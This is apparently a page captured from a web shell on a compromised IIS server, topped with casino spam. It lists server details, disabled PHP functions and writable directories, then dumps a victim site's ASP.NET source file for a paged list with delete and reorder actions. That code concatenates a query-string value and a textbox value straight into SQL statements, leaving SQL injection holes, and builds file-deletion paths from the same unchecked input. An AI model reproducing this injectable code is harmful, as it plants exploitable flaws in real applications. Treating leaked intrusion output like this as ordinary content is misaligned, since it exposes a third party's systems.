918博天堂

Server : Microsoft-IIS/10.0
System : Windows NT EBS-6136 10.0 build 17763 (Windows Server 2016) i586
User : jxgj ( 0)
PHP Version : 7.0.33
Disable Function : passthru,exec,system,shell_exec,proc_open,popen,pcntl_exec,socket_bind,stream_socket_server
Directory :  D:/tmp_aspnet/root/04556082/ecc0c5af/
Upload File :
Current Directory [ Writeable ] Root Directory [ Writeable ]


Current File : D:/tmp_aspnet/root/04556082/ecc0c5af/App_Web_lbis36fm.9.cs
?#pragma checksum "d:\wwwroot\gzgunuo\wwwroot\qiao\GongList_About2.aspx.cs" "{406ea660-64cf-4c82-b6f0-42d48172a799}" "83C6DCBDE607780598578E4A9841B1B4"

#line 1 "d:\wwwroot\gzgunuo\wwwroot\qiao\GongList_About2.aspx.cs"
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using Model;
using System.IO;


public partial class GongList_About : System.Web.UI.Page
{
    private int pageSize = 15;   //每頁大幼
    private int pageCount = 0;  //总頁数
    private int Pages { get { int d; int.TryParse(Request.QueryString["page"], out d); return d > 0 ? d - 1 : 0; } }
    private int CID { get { return Convert.ToInt32(Request.QueryString["c"]); } }
    public string Name { get { return Convert.ToString(Request.QueryString["n"]); } }

    protected void Page_Load(object sender, EventArgs e)
    {
        if (!IsPostBack)
        {
            if (this.Name == null || this.Name == "")
                return;

            DataBin();
        }
    }

    private void DataBin()
    {
        this.Repeater1.DataSource = SqlManager.GetGong(this.Pages, this.pageSize, out this.pageCount, " where tableName='" + this.Name + "'");
        this.Repeater1.DataBind();


        ////设置頁码
        this.AspNetPager1.UrlPaging = true;
        this.AspNetPager1.PageSize = this.pageSize;
        this.AspNetPager1.RecordCount = this.pageCount;
    }

    protected void Repeater1_ItemCommand(object source, RepeaterCommandEventArgs e)
    {
        //单个删除
        if (e.CommandName == "Del")
        {
            int Id = Convert.ToInt32(e.CommandArgument);
            if (SqlManager.DelGong(Id))
            {
                List<Images> list = SqlManager.GetImagesList(this.Name, Id);
                foreach (var img in list)
                {
                    //删除图片
                    StringHelper.DelImgFile(Server.MapPath("~/Images/" + this.Name + @"\"), img.ImgUrl, this.Name);
                }
                if (list.Count > 0)
                    SqlManager.DelImages(this.Name, Id);
            }
        }
        if (e.CommandName == "up")
        {
            string KindID = e.CommandArgument.ToString().Split(',')[0];
            int itemIndex = Convert.ToInt32(e.CommandArgument.ToString().Split(',')[1]);
            TextBox TextBox1 = this.Repeater1.Items[itemIndex].FindControl("text") as TextBox;

            if (TextBox1.Text.Trim() != "")
                SqlManager.Get("update Gong set [Order]=" + TextBox1.Text + " where Id=" + KindID);
        }
        DataBin();
    }

}

#line default
#line hidden